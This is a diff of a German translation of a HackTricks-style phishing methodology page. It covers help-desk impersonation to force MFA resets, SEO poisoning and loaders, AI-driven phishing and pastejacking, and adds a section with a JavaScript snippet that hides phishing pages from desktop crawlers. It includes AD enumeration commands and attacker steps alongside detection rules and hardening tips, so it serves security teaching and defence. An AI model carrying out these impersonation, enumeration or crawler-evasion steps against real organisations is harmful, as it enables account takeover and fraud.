+* Sammle persönliche und unternehmensbezogene Informationen von LinkedIn, Datenlecks, öffentlichem GitHub usw.
-* Identifiziere hochrangige Identitäten (Führungskräfte, IT, Finanzen) und ermittle den **genauen Help‑Desk‑Prozess** für Passwort-/MFA‑Resets.
+* Identifiziere hochkarätige Identitäten (Führungskräfte, IT, Finanzen) und ermittle den **genauen Help-Desk-Prozess** für Passwort-/MFA-Resets.
-2. Echtzeit‑Social‑Engineering
+2. Echtzeit Social Engineering
-* Rufe per Telefon, Teams oder Chat beim Help‑Desk an und gib dich als Zielperson aus (oft mit **gefälschter Anrufer‑ID** oder **geklonter Stimme**).
+* Ruf den Help-Desk per Telefon, Teams oder Chat an und gib dich als Zielperson aus (oft mit **gefälschtem Caller-ID** oder **klonender Stimme**).
-* Gib die zuvor gesammelten PII an, um wissensbasierte Verifizierungen zu bestehen.
+* Gib die zuvor gesammelten PII an, um die wissensbasierte Verifizierung zu bestehen.
-* Überzeuge den Agenten, das **MFA‑Secret zurückzusetzen** oder einen **SIM‑Swap** auf eine registrierte Mobilnummer durchzuführen.
+* Überzeuge den Agenten, das **MFA-Secret zurückzusetzen** oder einen **SIM-Swap** auf eine registrierte Mobilnummer durchzuführen.
-3. Sofortige Aktionen nach Zugang (≤60 min in realen Fällen)
+3. Sofortige Post-Access-Aktionen (≤60 Minuten in realen Fällen)
-* Etabliere einen Fuß in der Tür über ein beliebiges Web‑SSO‑Portal.
+* Etabliere einen Fuß in der Tür über ein beliebiges Web-SSO-Portal.
-* Enumeriere AD / AzureAD mit eingebauten Tools (keine Binaries werden abgelegt):
+* Enumeriere AD / AzureAD mit eingebauten Tools (es werden keine Binärdateien abgelegt):
 ```powershell
 # list directory groups & privileged roles
 Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@@ -465,58 +468,58 @@ Get-MgDirectoryRole | ft DisplayName,Id
 # Enumerate devices the account can login to
 Get-MgUserRegisteredDevice -UserId <user@corp.local>
 ```
-* Seitliche Bewegung mit **WMI**, **PsExec** oder legitimen **RMM**‑Agenten, die bereits in der Umgebung auf der Whitelist stehen.
+* Laterale Bewegung mit **WMI**, **PsExec** oder legitimen bereits in der Umgebung whitelisti ng RMM-Agenten.
 
 ### Erkennung & Gegenmaßnahmen
-* Behandle Help‑Desk‑Identitätswiederherstellungen als eine **privilegierte Operation** – erfordere Step‑Up‑Authentifizierung & Manager‑Genehmigung.
+* Behandle Help-Desk-Identity-Recovery als **privilegierte Operation** – erfordere Step-Up-Authentifizierung & Manager-Freigabe.
-* Stelle Regeln für **Identity Threat Detection & Response (ITDR)** / **UEBA** bereit, die alarmieren bei:
+* Setze **Identity Threat Detection & Response (ITDR)** / **UEBA**-Regeln ein, die Alarm schlagen bei:
-  * Änderung der MFA‑Methode + Authentifizierung von neuem Gerät / Geo.
+* MFA-Methode geändert + Authentifizierung von neuem Gerät / Geo.
-  * Sofortige Erhöhung derselben Entität (user → admin).
+* Sofortige Erhöhung desselben Prinzips (User → Admin).
-* Nimm Help‑Desk‑Anrufe auf und erzwinge einen **Rückruf an eine bereits registrierte Nummer** vor jedem Reset.
+* Nimm Help-Desk-Anrufe auf und erzwinge einen **Rückruf an eine bereits registrierte Nummer**, bevor ein Reset durchgeführt wird.
-* Implementiere **Just‑In‑Time (JIT) / Privileged Access**, sodass neu zurückgesetzte Konten **nicht** automatisch hochprivilegierte Tokens erben.
+* Implementiere **Just-In-Time (JIT) / Privileged Access**, sodass neu zurückgesetzte Konten **nicht** automatisch hochprivilegierte Tokens erhalten.
 
 ---
 
-## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns
+## At-Scale Deception – SEO Poisoning & “ClickFix” Kampagnen
-Massenakteure kompensieren die Kosten von High‑Touch‑Operationen durch Massenangriffe, die **Suchmaschinen & Werbenetzwerke zum Lieferkanal** machen.
+Commodity-Gruppen kompensieren die Kosten für High-Touch-Operationen mit Massenangriffen, die **Suchmaschinen & Werbenetzwerke als Zustellkanal** nutzen.
 
-1. **SEO poisoning / malvertising** schiebt ein gefälschtes Ergebnis wie `chromium-update[.]site` in die Top‑Suchanzeigen.
+1. **SEO poisoning / malvertising** pusht ein gefälschtes Ergebnis wie `chromium-update[.]site` in die obersten Suchanzeigen.
-2. Das Opfer lädt einen kleinen **first-stage loader** herunter (oft JS/HTA/ISO). Beispiele, die Unit 42 beobachtet hat:
+2. Das Opfer lädt einen kleinen **First-Stage Loader** herunter (oft JS/HTA/ISO). Beispiele, die Unit 42 gesehen hat:
 * `RedLine stealer`
 * `Lumma stealer`
 * `Lampion Trojan`
-3. Der Loader exfiltriert Browser‑Cookies + credential DBs und lädt dann einen **silent loader**, der in *Echtzeit* entscheidet, ob er ausrollt:
+3. Der Loader exfiltriert Browser-Cookies + Credential-DBs und lädt dann einen **silent loader**, der in *Echtzeit* entscheidet, ob er ausrollt:
 * RAT (z. B. AsyncRAT, RustDesk)
-* ransomware / wiper
+* Ransomware / Wiper
-* persistence component (Registry Run Key + Scheduled Task)
+* Persistence-Komponente (Registry Run-Key + Scheduled Task)
 
-### Härtungshinweise
+### Härtungstipps
-* Sperre neu registrierte Domains & setze **Advanced DNS / URL Filtering** für *search-ads* sowie E‑Mail durch.
+* Blockiere neu registrierte Domains & implementiere **Advanced DNS / URL Filtering** sowohl für *Suchanzeigen* als auch für E-Mails.
-* Beschränke Softwareinstallationen auf signierte MSI / Store‑Pakete, verhindere per Richtlinie die Ausführung von `HTA`, `ISO`, `VBS`.
+* Beschränke Software-Installationen auf signierte MSI / Store-Pakete, verweigere die Ausführung von `HTA`, `ISO`, `VBS` per Richtlinie.
-* Überwache Child‑Prozesse von Browsern, die Installer öffnen:
+* Überwache Child-Prozesse von Browsern, die Installer starten:
 ```yaml
 - parent_image: /Program Files/Google/Chrome/*
 and child_image: *\\*.exe
 ```
-* Suche nach LOLBins, die häufig von First‑Stage‑Loadern missbraucht werden (z. B. `regsvr32`, `curl`, `mshta`).
+* Suche nach LOLBins, die häufig von First-Stage-Loadern missbraucht werden (z. B. `regsvr32`, `curl`, `mshta`).
 
 ---
 
-## AI-Enhanced Phishing Operations
+## KI-gestützte Phishing-Operationen
-Angreifer verketten nun **LLM & voice-clone APIs**, um vollständig personalisierte Köder und Echtzeit‑Interaktion zu erzeugen.
+Angreifer verketten jetzt **LLM- & Voice-Clone-APIs** für vollständig personalisierte Köder und Interaktion in Echtzeit.
 
 | Layer | Example use by threat actor |
 |-------|-----------------------------|
-|Automation|Generiere & sende >100 k E‑Mails / SMS mit randomisiertem Wortlaut & Tracking‑Links.|
+|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
-|Generative AI|Erzeuge *einmalige* E‑Mails, die öffentliche M&A und Insider‑Witze aus Social Media referenzieren; Deep‑Fake‑CEO‑Stimme im Rückruf‑Betrug.|
+|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
-|Agentic AI|Registriert autonom Domains, scraped Open‑Source‑Intel und erstellt nächste‑Stufen‑Mails, wenn ein Opfer klickt, aber keine credentials übermittelt.|
+|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.|
 
-**Defence:**
+**Verteidigung:**
-• Füge **dynamische Banner** hinzu, die Nachrichten hervorheben, die von nicht vertrauenswürdiger Automation gesendet wurden (z. B. bei ARC/DKIM‑Anomalien).  
+• Füge **dynamische Banner** hinzu, die Nachrichten hervorheben, die von nicht vertrauenswürdiger Automation gesendet wurden (via ARC/DKIM-Anomalien).  
-• Setze **voice‑biometric challenge phrases** für risikoreiche Telefonanfragen ein.  
+• Implementiere **stimm-biometrische Challenge-Phrasen** für telefonische Anfragen mit hohem Risiko.  
-• Simuliere kontinuierlich KI‑generierte Köder in Awareness‑Programmen – statische Vorlagen sind obsolet.
+• Simuliere kontinuierlich KI-generierte Köder in Awareness-Programmen – statische Vorlagen sind veraltet.
 
-Siehe auch – agentic browsing abuse for credential phishing:
+Siehe auch – agentic browsing abuse für credential phishing:
 
 {{#ref}}
 ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
@@ -524,8 +527,8 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
 
 ---
 
-## MFA Fatigue / Push Bombing Variant – Forced Reset
+## MFA Fatigue / Push Bombing Variante – Erzwingtes Zurücksetzen
-Neben dem klassischen Push‑Bombing erzwingen Operatoren während des Help‑Desk‑Anrufs einfach die **Registrierung eines neuen MFA‑Tokens**, wodurch das bestehende Token des Benutzers ungültig wird. Jeder nachfolgende Login‑Prompt erscheint für das Opfer legitim.
+Neben klassischem Push-Bombing erzwingen Operatoren einfach **eine neue MFA-Registrierung** während des Help-Desk-Anrufs und machen so das bestehende Token des Nutzers ungültig. Jeder nachfolgende Login-Prompt erscheint für das Opfer legitim.
 ```text
 [Attacker]  →  Help-Desk:  “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
 [Help-Desk] →  AzureAD: ‘Delete existing methods’ → sends registration e-mail
@@ -533,9 +536,11 @@ Neben dem klassischen Push‑Bombing erzwingen Operatoren während des Help‑De
 ```
 Überwache AzureAD/AWS/Okta-Ereignisse, bei denen **`deleteMFA` + `addMFA`** **innerhalb weniger Minuten von derselben IP** auftreten.
 
+
+
 ## Clipboard Hijacking / Pastejacking
 
-Angreifer können heimlich bösartige Befehle in die Zwischenablage des Opfers von einer kompromittierten oder typosquatted Webseite kopieren und den Benutzer dann dazu bringen, sie in **Win + R**, **Win + X** oder ein Terminalfenster einzufügen, wodurch beliebiger Code ausgeführt wird, ohne dass etwas heruntergeladen oder angehängt werden muss.
+Angreifer können stillschweigend bösartige Befehle in das Clipboard des Opfers von einer kompromittierten oder typosquatted Webseite kopieren und den Nutzer dann dazu verleiten, diese in **Win + R**, **Win + X** oder ein Terminal-Fenster einzufügen, wodurch beliebiger Code ausgeführt wird, ganz ohne Download oder Anhang.
 
 
 {{#ref}}
@@ -549,6 +554,33 @@ clipboard-hijacking.md
 mobile-phishing-malicious-apps.md
 {{#endref}}
 
+### Mobile‑gated phishing to evade crawlers/sandboxes
+Betreiber schotten ihre phishing-Flows zunehmend hinter einer einfachen Geräteprüfung ab, damit desktop crawlers nie die finalen Seiten erreichen. Ein typisches Muster ist ein kleines Script, das prüft, ob das DOM touch-fähig ist, und das Ergebnis an einen Server-Endpoint postet; nicht-mobile Clients erhalten HTTP 500 (oder eine leere Seite), während mobilen Nutzern der vollständige Flow angezeigt wird.
+
+Minimaler Client-Snippet (typische Logik):
+```html
+<script src="/static/detect_device.js"></script>
+```
+`detect_device.js` Logik (vereinfacht):
+```javascript
+const isMobile = ('ontouchstart' in document.documentElement);
+fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
+.then(()=>location.reload());
+```
+Serververhalten, häufig beobachtet:
+- Setzt beim ersten Laden ein Session-Cookie.
+- Akzeptiert `POST /detect {"is_mobile":true|false}`.
+- Gibt bei nachfolgenden GETs 500 (oder Platzhalter) zurück, wenn `is_mobile=false`; liefert Phishing nur, wenn `true`.
+
+Hunting- und Erkennungsheuristiken:
+- urlscan-Abfrage: `filename:"detect_device.js" AND page.status:500`
+- Web-Telemetrie: Sequenz `GET /static/detect_device.js` → `POST /detect` → HTTP 500 für nicht‑mobile; legitime mobile Zielpfade liefern 200 mit anschließendem HTML/JS.
+- Seiten blockieren oder genauer prüfen, die Inhalte ausschließlich anhand von `ontouchstart` oder ähnlichen Geräteprüfungen steuern.
+
+Abwehrtipps:
+- Crawler mit mobile‑ähnlichen Fingerprints und aktiviertem JS ausführen, um zugangsbeschränkte Inhalte aufzudecken.
+- Alarm bei verdächtigen 500-Antworten nach `POST /detect` auf neu registrierten Domains.
+
 ## Referenzen
 
 - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
@@ -556,5 +588,6 @@ mobile-phishing-malicious-apps.md
 - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
 - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
 - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
+- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
 
 {{#include ../../banners/hacktricks-training.md}}